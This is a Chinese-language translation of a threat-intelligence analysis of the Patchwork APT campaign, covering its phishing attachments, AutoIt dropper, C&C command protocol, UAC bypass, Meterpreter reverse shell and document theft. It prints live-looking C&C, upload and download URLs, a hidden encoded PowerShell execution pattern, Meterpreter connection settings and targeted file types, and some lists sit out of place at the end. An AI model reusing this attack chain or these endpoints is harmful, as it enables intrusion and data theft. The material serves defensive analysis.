273人参与 • 2016-07-13 • 脚本攻防
三、技术分析
工具部署
攻击载体:
攻击载体是一个以pps为附件的网络钓鱼邮件,嵌入漏洞 cve-2014-4114 的利用代码。漏洞利用代码执行之后释放可执行文件和windows驱动程序描述文件inf。
攻击者把以下两个文件嵌入ole实体中并释放到受害者主机:
dropper木马程序:
sysvolinfo.exe程序是攻击者第一阶段的有效载荷(另一个程序是uplv1032 .exe),其目的是为了提升权限、筛选数据,从网络下载执行powersploit发起的程序和命令。通过安装meterpreter,攻击者可以在受感染主机内发起远程控制命令。
sysvolinfo.exe代码本身是利用编译工具autoit编译的,其代码的一个重要部分抄袭于黑客论坛“ indetectables ”。
c&c通信:
当黑客工具开始运行之后,第一步就是与c&c服务器进行确认连接,静待命令,以下就是对c&c连接协议的分析:
发起远程连接请求:
-- http://212.129.13.110/dropper.php?profile=+ $computerid
用以下变量作为发送参数:
-- ddager, r1, r2, r3, r4, r5, r6.
返回变量和结果:
-- “$sdata|$payload”
可用命令解释:
command id | command explanation |
---|---|
“1” | 调试服务器远程状态如 “[+] servflag : disabled” ,也可以什么都不做 |
“2” | 如果此命令在之前没被执行过, 以powershell脚本方式执行: powershell -nop -wind hidden -noni -enc ” & $payload |
“3” | 重置脚本内部状态,忽略先前执行的“2”号命令,再次执行“2”号命令。 |
“4” | 退出脚本 |
“5” | 以base64加密payload执行_emorhc function |
“6” | 以base64加密payload为变量执行_getnewver function |
“7” | 以base64加密payload为变量执行_instcust function |
“8” | 通过cmd方式执行base64加密payload ,把结果保存于r5 |
当受害主机状态命令发送到控制服务器后,黑客程序继续以“totalsecurity”字符串目标扫描整个“program files”目录,这是“360 total security”安全软件的安装目录。(360 total security 是360的国际版)
黑客软件以”baidu software update”为文件夹伪装自身进入系统启动目录(hkey_current_user\software\microsoft\windows\currentversion\run)。然后,它又向控制服务器发送另一个命令,之后,开始扫描计算机中的所有固定驱动器磁盘,以寻找以下后缀名文件:
之后上传所有文件至服务器:
http://212[.]129.13.110/update-request.php?profile=
在对黑客工具进行反编译后,发现了其功能调用中包含了一个有趣的pdb文件:
“c:\users\kanishk\documents\visualstudio 2015\projects\consoleapplication1\consoleapplication1\obj\debug\consoleapplication1.pdb”
提权操作:
经过前阶段描述可知,攻击载体使用了windows7系统中尚未打补丁的uac绕过漏洞(被称为uacme ),这可以让攻击者以管理员身份执行操作。
shellcode执行:
当autoit 脚本恶意软件从 $sdata 中接收到“2”号命令的心跳后(这似乎是最常见的情况),便以base64加密方式执行命令:
powershell -nop -wind hidden -noni -enc
我们观察到base64加密的payload是powershell脚本方式的shellcode,通过meterpreter 进行https反向远程连接。
反向https meterpreter 连接:
autoit脚本提权并执行一个powershell的反向meterpreter 连接脚本,而且这个脚本看起来是通过一个在线博客复制而来的
meterpreter用以下参数进行连接:
第二阶段的攻击载体:
该阶段的攻击工具只有在攻击者执行meterpreter连接,并确定目标主机具有价值之后,才会运行部署。我们发现这个攻击载体为7zip.exe,但它有时候也为ndcrypt.exe和nd.exe。
7zip.exe 16 进制代码
这个程序的很多代码都来源于github的一个公开代码库 。
脱壳之后,程序模块执行以下动作:
(1)为了在电脑关机或重启之后能继续保持入侵状态,攻击载体程序在系统目录下复制自身并重命名为netmon.exe,并以自启动服务 net monitor 运行。
c:\windows\syswow64\netmon.exe — 以 7zip.exe/netmon.exe 运行的64位程序;
(2)执行一个固定磁盘的扫描线程和文件筛选程序(但不会搜索网络驱动器和usb设备)
• 另一个线程执行文件上传功能:
http://212[.]83.191.156/http/up.php.
• 另一个线程下载可执行文件:
http://212[.]83.191.156/http/down.php
四、其它属性
1 pps文件时间编辑分析:
经过对pps文件的提取分析发现,这些pps文件在一天当中的不同时段都被经过修改:
2 c&c 远程控制服务器活动时间:
c&c服务器的活动不仅在于单独的几个小时之间,还在于每周的每天,通过对每天的时间区间进行描述之后,我们可以发现不同的模式,例如,每周的周日活动较多,周六较少。另外,攻击活动不早于凌晨2点,不晚于上午11点,除了某个周日之外。“攻击工作时间”图如下:
3 域名注册时间:
攻击活动使用的恶意域名注册时间只在每周的特定几天,而且注册时间都介于凌晨3点到下午15点之间:
五、总结:
patchwork apt 是一个非常成功的有针对性的网络攻击,令人惊讶的是自去年12月之前,它一直未被发现。
其高度复杂的操作与其具有的低技术含量形成鲜明的矛盾对比,避免昂贵的开发工具而选择开源低廉的代码作为渗透工具,这也许是一种攻击趋势,也是一种避免被发现的手段;
根据我们所掌握的信息,攻击者有可能是亲印度或印度人。但就像我们的ceo gadi gadi evron在内部讨论时所说的:“也有另一种可能性,有可能是其他伪装成印度人的攻击者,因为在网络世界里,好像根本就没有任何确切的证据来支撑说明,这只是我们自己的观点。”
不像其它国家发起的apt攻击,印度的网络间谍活动一直都处于平静状态,如果攻击者确实是亲印度或印度人,那么这是非常值得注意的情况。
***** 文章根据cymmetria 报告原文编译:cymmetria - unveiling_patchwork
*****后记:在cymmetria发布分析报告的同时,卡巴斯基实验室也发布了名为《dropping elephant网络犯罪组织肆意攻击多国政府和外交机构》的报告,报告中命名的dropping elephant apt 与cymmetria发现的 patchwork apt 高度相似。
• lhost=45.43.192.172
• lport=8443
*.doc
*.csv
*.ppt
*.docx
*.pst
*.xls
*.xlsx
*.pptx
属性:
computerid=base64encode(“$username@$computername”)
ddager= isstartup registry key added (bool)
r1=base64encode(result of osversion macro, e.g. win_7)
r2=base64encode(result of osarch macro, e.g. x64)
r3=base64encode(trojan version, 1.1 in our sample)
r4=base64encode(does the sqlite database folder ( @userprofiledir &“\appdata\local\google\chrome\user data\default\”) exist (1) or not (0))
r5=base64encode(stdout of last cmd command)
r6=base64encode(1 if running as administrator, 0 if not)
• driver.inf
• sysvolinfo.exe
http://212.129.13.110/dropper.php?profile=<base64of [username@computername]>
https://45.43.192.172:8443/oxgn
您想发表意见!!点此发布评论
版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。
发表评论